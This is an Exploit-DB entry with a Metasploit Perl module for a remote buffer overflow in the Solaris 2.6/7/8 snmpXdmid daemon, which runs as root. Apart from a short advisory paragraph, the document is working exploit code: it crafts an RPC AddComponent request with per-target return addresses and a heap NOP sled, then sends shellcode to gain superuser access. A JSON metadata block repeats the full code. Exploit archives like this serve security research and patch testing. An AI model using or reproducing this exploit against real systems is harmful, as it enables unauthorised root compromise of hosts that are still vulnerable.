Solaris 2.6/7.0/8 - snmpXdmid Buffer Overflow (Metasploit)
2001-03-15T00:00:00
ID EDB-ID:20649 Type exploitdb Reporter vlad902 Modified 2001-03-15T00:00:00
Description
source: https://www.securityfocus.com/bid/2417/info
Versions 2.6, 7, and 8 of Sun Microsystem's Solaris operating environment ship with service called 'snmpXdmid'. This daemon is used to map SNMP management requests to DMI requests and vice versa.
SnmpXdmid contains a remotely exploitable buffer overflow vulnerability. The overflow occurs when snmpXdmid attempts to translate a 'malicious' DMI request into an SNMP trap.
SnmpXdmid runs with root privileges and any attacker to successfully exploit this vulnerability will gain superuser access immediately.
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::solaris_snmpxdmid;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use Pex::SunRPC;
use Pex::XDR;
my $advanced = { };
my $info =
{
'Name' => 'Solaris snmpXdmid AddComponent Overflow',
'Version' => '$Revision: 1.6 $',
'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>', ],
'Arch' => [ 'sparc' ],
'OS' => [ 'solaris' ],
'Priv' => 1,
'UserOpts' => {
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target RPC port', 111],
},
'Payload' => {
'Space' => 64000,
'MinNops' => 63000,
},
'Description' => Pex::Text::Freeform(qq{
Exploit based on LSD's solsparc_snmpxdmid.c. Exploit a simple overflow and
return to the heap avoiding NX stacks.
}),
'Refs' => [
['BID', 2417],
['URL', 'http://lsd-pl.net/code/SOLARIS/solsparc_snmpxdmid.c'],
],
'Targets' => [
[ 'Solaris 7 / SPARC', 0xb1868 + 96000, 0xb1868 + 32000 ],
[ 'Solaris 8 / SPARC', 0xcf2c0 + 96000, 0xcf2c0 + 32000 ],
],
'Keys' => ['snmpxdmid'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
my %data;
my $host = $self->GetVar('RHOST');
my $port = $self->GetVar('RPORT');
if(Pex::SunRPC::Clnt_create(\%data, $host, $port, 100249, 1, "tcp", "tcp") == -1)
{
$self->PrintLine("[*] RPC request failed (snmpXdmid).");
return;
}
$self->PrintLine("[*] Using port $data{'rport'}");
Pex::SunRPC::Authunix_create(\%data, "localhost", 0, 0, []);
$self->PrintLine("[*] Generating buffer...");
my $array1 =
(pack("N", ($target->[2])) x (1248/4)).
(pack("N", ($target->[1])) x (352/4)).
(pack("N", 0));
my $array2 =
(pack("N", 0) x (64000/4)).
($shellcode).
(pack("N", 0));
my @array1_tbl = map { unpack("C", $_) } split(//, $array1);
my @array2_tbl = map { unpack("C", $_) } split(//, $array2);
my $buf =
Pex::XDR::Encode_int(0).
Pex::XDR::Encode_int(0).
Pex::XDR::Encode_bool(1).
Pex::XDR::Encode_int(0).
Pex::XDR::Encode_bool(1).
Pex::XDR::Encode_varray([@array1_tbl], \&Pex::XDR::Encode_lchar).
Pex::XDR::Encode_bool(1).
Pex::XDR::Encode_varray([@array2_tbl], \&Pex::XDR::Encode_lchar).
Pex::XDR::Encode_int(0).
Pex::XDR::Encode_int(0);
$self->PrintLine("[*] Sending payload...");
if(Pex::SunRPC::Clnt_call(\%data, 0x101, $buf) == -1)
{
$self->PrintLine("[*] snmpXdmid addcomponent request failed.");
return;
}
$self->PrintLine("[*] Sent!");
return;
}
{"id": "EDB-ID:20649", "vendorId": null, "type": "exploitdb", "bulletinFamily": "exploit", "title": "Solaris 2.6/7.0/8 - snmpXdmid Buffer Overflow (Metasploit)", "description": "", "published": "2001-03-15T00:00:00", "modified": "2001-03-15T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://www.exploit-db.com/exploits/20649", "reporter": "vlad902", "references": [], "cvelist": ["2001-0236"], "immutableFields": [], "lastseen": "2022-01-13T06:36:07", "viewCount": 11, "enchantments": {"dependencies": {}, "score": {"value": 0.7, "vector": "NONE"}, "backreferences": {"references": [{"type": "canvas", "idList": ["SNMPXDMID"]}]}, "exploitation": null, "vulnersScore": 0.7}, "sourceHref": "https://www.exploit-db.com/download/20649", "sourceData": "source: https://www.securityfocus.com/bid/2417/info\r\n \r\nVersions 2.6, 7, and 8 of Sun Microsystem's Solaris operating environment ship with service called 'snmpXdmid'. This daemon is used to map SNMP management requests to DMI requests and vice versa.\r\n \r\nSnmpXdmid contains a remotely exploitable buffer overflow vulnerability. The overflow occurs when snmpXdmid attempts to translate a 'malicious' DMI request into an SNMP trap.\r\n \r\nSnmpXdmid runs with root privileges and any attacker to successfully exploit this vulnerability will gain superuser access immediately.\r\n\r\n##\r\n# This file is part of the Metasploit Framework and may be redistributed\r\n# according to the licenses defined in the Authors field below. In the\r\n# case of an unknown or missing license, this file defaults to the same\r\n# license as the core Framework (dual GPLv2 and Artistic). The latest\r\n# version of the Framework can always be obtained from metasploit.com.\r\n##\r\n\r\npackage Msf::Exploit::solaris_snmpxdmid;\r\nuse base \"Msf::Exploit\";\r\nuse strict;\r\nuse Pex::Text;\r\nuse Pex::SunRPC;\r\nuse Pex::XDR;\r\n\r\nmy $advanced = { };\r\nmy $info =\r\n{\r\n\t'Name' => 'Solaris snmpXdmid AddComponent Overflow',\r\n\t'Version' => '$Revision: 1.6 $',\r\n\t'Authors' => [ 'vlad902 <vlad902 [at] gmail.com>', ],\r\n\t'Arch' => [ 'sparc' ],\r\n\t'OS' => [ 'solaris' ],\r\n\t'Priv' => 1,\r\n\t'UserOpts' => {\r\n\t\t'RHOST' => [1, 'ADDR', 'The target address'],\r\n\t\t'RPORT' => [1, 'PORT', 'The target RPC port', 111],\r\n\t},\r\n\t'Payload' => {\r\n\t\t'Space' => 64000,\r\n\t\t'MinNops' => 63000,\r\n\t},\r\n\t'Description' => Pex::Text::Freeform(qq{\r\n\tExploit based on LSD's solsparc_snmpxdmid.c. Exploit a simple overflow and\r\n\treturn to the heap avoiding NX stacks.\r\n\t}),\r\n\t'Refs' => [\r\n\t\t['BID', 2417],\r\n\t\t['URL', 'http://lsd-pl.net/code/SOLARIS/solsparc_snmpxdmid.c'],\r\n\t],\r\n\t'Targets' => [\r\n\t\t[ 'Solaris 7 / SPARC', 0xb1868 + 96000, 0xb1868 + 32000 ],\r\n\t\t[ 'Solaris 8 / SPARC', 0xcf2c0 + 96000, 0xcf2c0 + 32000 ],\r\n\t],\r\n\t'Keys' => ['snmpxdmid'],\r\n};\r\n\r\nsub new {\r\n\tmy $class = shift;\r\n\tmy $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);\r\n\treturn($self);\r\n}\r\n\r\nsub Exploit {\r\n\tmy $self = shift;\r\n\r\n\tmy $target_idx = $self->GetVar('TARGET');\r\n\tmy $shellcode = $self->GetVar('EncodedPayload')->Payload;\r\n\r\n\tmy $target = $self->Targets->[$target_idx];\r\n\r\n\tmy %data;\r\n\r\n\tmy $host = $self->GetVar('RHOST');\r\n\tmy $port = $self->GetVar('RPORT');\r\n\r\n\tif(Pex::SunRPC::Clnt_create(\\%data, $host, $port, 100249, 1, \"tcp\", \"tcp\") == -1)\r\n\t{\r\n\t\t$self->PrintLine(\"[*] RPC request failed (snmpXdmid).\");\r\n\t\treturn;\r\n\t}\r\n\r\n\t$self->PrintLine(\"[*] Using port $data{'rport'}\");\r\n\tPex::SunRPC::Authunix_create(\\%data, \"localhost\", 0, 0, []);\r\n\t$self->PrintLine(\"[*] Generating buffer...\");\r\n\r\n\tmy $array1 =\r\n\t\t(pack(\"N\", ($target->[2])) x (1248/4)).\r\n\t\t(pack(\"N\", ($target->[1])) x (352/4)).\r\n\t\t(pack(\"N\", 0));\r\n\r\n\tmy $array2 =\r\n\t\t(pack(\"N\", 0) x (64000/4)).\r\n\t\t($shellcode).\r\n\t\t(pack(\"N\", 0));\r\n\r\n\tmy @array1_tbl = map { unpack(\"C\", $_) } split(//, $array1);\r\n\tmy @array2_tbl = map { unpack(\"C\", $_) } split(//, $array2);\r\n\r\n\tmy $buf =\r\n\t\tPex::XDR::Encode_int(0).\r\n\t\tPex::XDR::Encode_int(0).\r\n\t\tPex::XDR::Encode_bool(1).\r\n\t\tPex::XDR::Encode_int(0).\r\n\t\tPex::XDR::Encode_bool(1).\r\n\t\tPex::XDR::Encode_varray([@array1_tbl], \\&Pex::XDR::Encode_lchar).\r\n\t\tPex::XDR::Encode_bool(1).\r\n\t\tPex::XDR::Encode_varray([@array2_tbl], \\&Pex::XDR::Encode_lchar).\r\n\t\tPex::XDR::Encode_int(0).\r\n\t\tPex::XDR::Encode_int(0);\r\n\r\n\t$self->PrintLine(\"[*] Sending payload...\");\r\n\r\n\tif(Pex::SunRPC::Clnt_call(\\%data, 0x101, $buf) == -1)\r\n\t{\r\n\t\t$self->PrintLine(\"[*] snmpXdmid addcomponent request failed.\");\r\n\t\treturn;\r\n\t}\r\n\r\n\t$self->PrintLine(\"[*] Sent!\");\r\n\r\n\treturn;\r\n}", "osvdbidlist": ["546"], "exploitType": "remote", "verified": true, "_state": {"dependencies": 1647589307, "score": 0}}